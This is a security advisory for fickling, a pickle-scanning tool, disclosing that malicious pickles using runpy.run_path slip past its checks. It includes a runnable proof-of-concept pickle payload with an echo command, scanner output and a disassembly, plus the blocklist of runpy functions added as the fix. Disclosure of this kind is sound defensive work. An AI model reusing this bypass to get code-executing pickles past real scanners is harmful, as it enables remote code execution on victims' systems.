PYSEC-2026-1373

Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 17:24
VLAI
Details

Fickling's assessment

runpy was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).

Original report

Summary

Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.

If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.

This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.

Details

The runpy module is missing from fickling's block list of unsafe module imports in fickling/analysis.py. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).

Incriminated source code: - File: fickling/analysis.py - Class: UnsafeImports - Issue: The blocklist does not include runpy, runpy.run_path, runpy.run_module, or runpy._run_code

Reference to similar fix: - PR #187 added pty to the blocklist to fix CVE-2025-67748 - PR #108 documented the blocklist approach - The same fix pattern should be applied for runpy

How the bypass works: 1. Attacker creates a pickle using runpy.run_path() in __reduce__ 2. Fickling's UnsafeImports analysis does not flag runpy as dangerous 3. Only the UnusedVariables heuristic triggers, resulting in SUSPICIOUS severity 4. The pickle should be rated OVERTLY_MALICIOUS like os.system, eval, and exec

Tested behavior (fickling 0.1.6):

Function Fickling Severity RCE Capable
os.system LIKELY_OVERTLY_MALICIOUS Yes
eval OVERTLY_MALICIOUS Yes
exec OVERTLY_MALICIOUS Yes
runpy.run_path SUSPICIOUS Yes ← BYPASS
runpy.run_module SUSPICIOUS Yes ← BYPASS

Suggested fix: Add to the unsafe imports blocklist in fickling/analysis.py: - runpy - runpy.run_path - runpy.run_module - runpy._run_code - runpy._run_module_code

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.Environment: - Python 3.13.2 - fickling 0.1.6 (latest version, installed via pip)

Step 1: Create malicious pickle

import pickle import runpy

class MaliciousPayload: def reduce(self): return (runpy.run_path, ("/tmp/malicious_script.py",))

with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f)

Step 2: Create the malicious script that will be executed

echo 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.py

Step 3: Analyze with fickling

fickling --check-safety malicious.pkl

Expected output (if properly detected): Severity: OVERTLY_MALICIOUS

Actual output (bypass confirmed): { "severity": "SUSPICIOUS", "analysis": "Variable _var0 is assigned value run_path(...) but unused afterward; this is suspicious and indicative of a malicious pickle file", "detailed_results": { "AnalysisResult": { "UnusedVariables": ["_var0", "run_path(...)"] } } }

Step 4: Prove RCE by loading the pickle

import pickle pickle.load(open("malicious.pkl", "rb"))

Check: ls /tmp/pwned <-- file exists, proving code execution

Pickle disassembly (evidence):

0: \x80 PROTO      4
2: \x95 FRAME      92

11: \x8c SHORT_BINUNICODE 'runpy' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'run_path' 29: \x94 MEMOIZE (as 1) 30: \x93 STACK_GLOBAL 31: \x94 MEMOIZE (as 2) 32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py' ... 100: R REDUCE 101: \x94 MEMOIZE (as 5) 102: . STOP

Impact

Vulnerability Type: Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).

Who is impacted: Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:

Attack scenario: An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.

Severity: HIGH - The attacker achieves arbitrary code execution - The security control (fickling) is specifically designed to prevent this - The bypass requires no special conditions beyond crafting the pickle with runpy

Severity
8.9 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Impacted products
Name purl
fickling pkg:pypi/fickling
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fickling",
        "purl": "pkg:pypi/fickling"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.2",
        "0.0.3",
        "0.0.4",
        "0.0.5",
        "0.0.6",
        "0.0.7",
        "0.0.8",
        "0.1.2",
        "0.1.3",
        "0.1.4",
        "0.1.5",
        "0.1.6"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22606",
    "GHSA-wfq2-52f7-7qvj"
  ],
  "details": "# Fickling\u0027s assessment\n\n`runpy`  was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).\n\n# Original report\n\n### Summary\nFickling versions up to and including 0.1.6 do not treat Python\u2019s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.\n\nIf a user relies on Fickling\u2019s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.\n\nThis affects any workflow or product that uses Fickling as a security gate for pickle deserialization.\n\n### Details\nThe `runpy` module is missing from fickling\u0027s block list of unsafe module imports in `fickling/analysis.py`. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).\n\nIncriminated source code:\n- File: `fickling/analysis.py`\n- Class: `UnsafeImports`\n- Issue: The blocklist does not include `runpy`, `runpy.run_path`, `runpy.run_module`, or `runpy._run_code`\n\nReference to similar fix:\n- PR #187 added `pty` to the blocklist to fix CVE-2025-67748\n- PR #108 documented the blocklist approach\n- The same fix pattern should be applied for `runpy`\n\nHow the bypass works:\n1. Attacker creates a pickle using `runpy.run_path()` in `__reduce__`\n2. Fickling\u0027s `UnsafeImports` analysis does not flag `runpy` as dangerous\n3. Only the `UnusedVariables` heuristic triggers, resulting in `SUSPICIOUS` severity\n4. The pickle should be rated `OVERTLY_MALICIOUS` like `os.system`, `eval`, and `exec`\n\nTested behavior (fickling 0.1.6):\n\n| Function          | Fickling Severity          | RCE Capable |\n|-------------------|----------------------------|-------------|\n| os.system         | LIKELY_OVERTLY_MALICIOUS   | Yes         |\n| eval              | OVERTLY_MALICIOUS          | Yes         |\n| exec              | OVERTLY_MALICIOUS          | Yes         |\n| runpy.run_path    | SUSPICIOUS                 | Yes \u2190 BYPASS |\n| runpy.run_module  | SUSPICIOUS                 | Yes \u2190 BYPASS |\n\nSuggested fix:\nAdd to the unsafe imports blocklist in `fickling/analysis.py`:\n- runpy\n- runpy.run_path\n- runpy.run_module\n- runpy._run_code\n- runpy._run_module_code\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._**Environment:**\n- Python 3.13.2\n- fickling 0.1.6 (latest version, installed via pip)\n\nStep 1: Create malicious pickle\n\nimport pickle\nimport runpy\n\nclass MaliciousPayload:\n    def __reduce__(self):\n        return (runpy.run_path, (\"/tmp/malicious_script.py\",))\n\nwith open(\"malicious.pkl\", \"wb\") as f:\n    pickle.dump(MaliciousPayload(), f)\n\nStep 2: Create the malicious script that will be executed\n\necho \u0027print(\"RCE ACHIEVED\"); open(\"/tmp/pwned\",\"w\").write(\"compromised\")\u0027 \u003e /tmp/malicious_script.py\n\nStep 3: Analyze with fickling\n\nfickling --check-safety malicious.pkl\n\nExpected output (if properly detected):\nSeverity: OVERTLY_MALICIOUS\n\nActual output (bypass confirmed):\n{\n    \"severity\": \"SUSPICIOUS\",\n    \"analysis\": \"Variable `_var0` is assigned value `run_path(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file\",\n    \"detailed_results\": {\n        \"AnalysisResult\": {\n            \"UnusedVariables\": [\"_var0\", \"run_path(...)\"]\n        }\n    }\n}\n\nStep 4: Prove RCE by loading the pickle\n\nimport pickle\npickle.load(open(\"malicious.pkl\", \"rb\"))\n# Check: ls /tmp/pwned  \u003c-- file exists, proving code execution\n\nPickle disassembly (evidence):\n\n    0: \\x80 PROTO      4\n    2: \\x95 FRAME      92\n   11: \\x8c SHORT_BINUNICODE \u0027runpy\u0027\n   18: \\x94 MEMOIZE    (as 0)\n   19: \\x8c SHORT_BINUNICODE \u0027run_path\u0027\n   29: \\x94 MEMOIZE    (as 1)\n   30: \\x93 STACK_GLOBAL\n   31: \\x94 MEMOIZE    (as 2)\n   32: \\x8c SHORT_BINUNICODE \u0027/tmp/malicious_script.py\u0027\n   ...\n  100: R    REDUCE\n  101: \\x94 MEMOIZE    (as 5)\n  102: .    STOP\n  \n### Impact\n\nVulnerability Type:\nIncomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).\n\nWho is impacted:\nAny user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:\n\nAttack scenario:\nAn attacker uploads a malicious ML model or pickle file to a model repository. The victim\u0027s pipeline uses fickling to scan uploads. Fickling rates the file as \"SUSPICIOUS\" (not \"OVERTLY_MALICIOUS\"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.\n\nSeverity: HIGH\n- The attacker achieves arbitrary code execution\n- The security control (fickling) is specifically designed to prevent this\n- The bypass requires no special conditions beyond crafting the pickle with `runpy`",
  "id": "PYSEC-2026-1373",
  "modified": "2026-07-07T17:24:08.550727Z",
  "published": "2026-07-07T16:03:17.598373Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-565g-hwwr-4pp3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-r7v6-mfhq-g3m2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-wfq2-52f7-7qvj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22606"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/pull/108"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/pull/187"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/pull/195"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trailofbits/fickling"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L87"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.7"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/fickling"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-wfq2-52f7-7qvj"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Fickling has a bypass via runpy.run_path() and runpy.run_module()"
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

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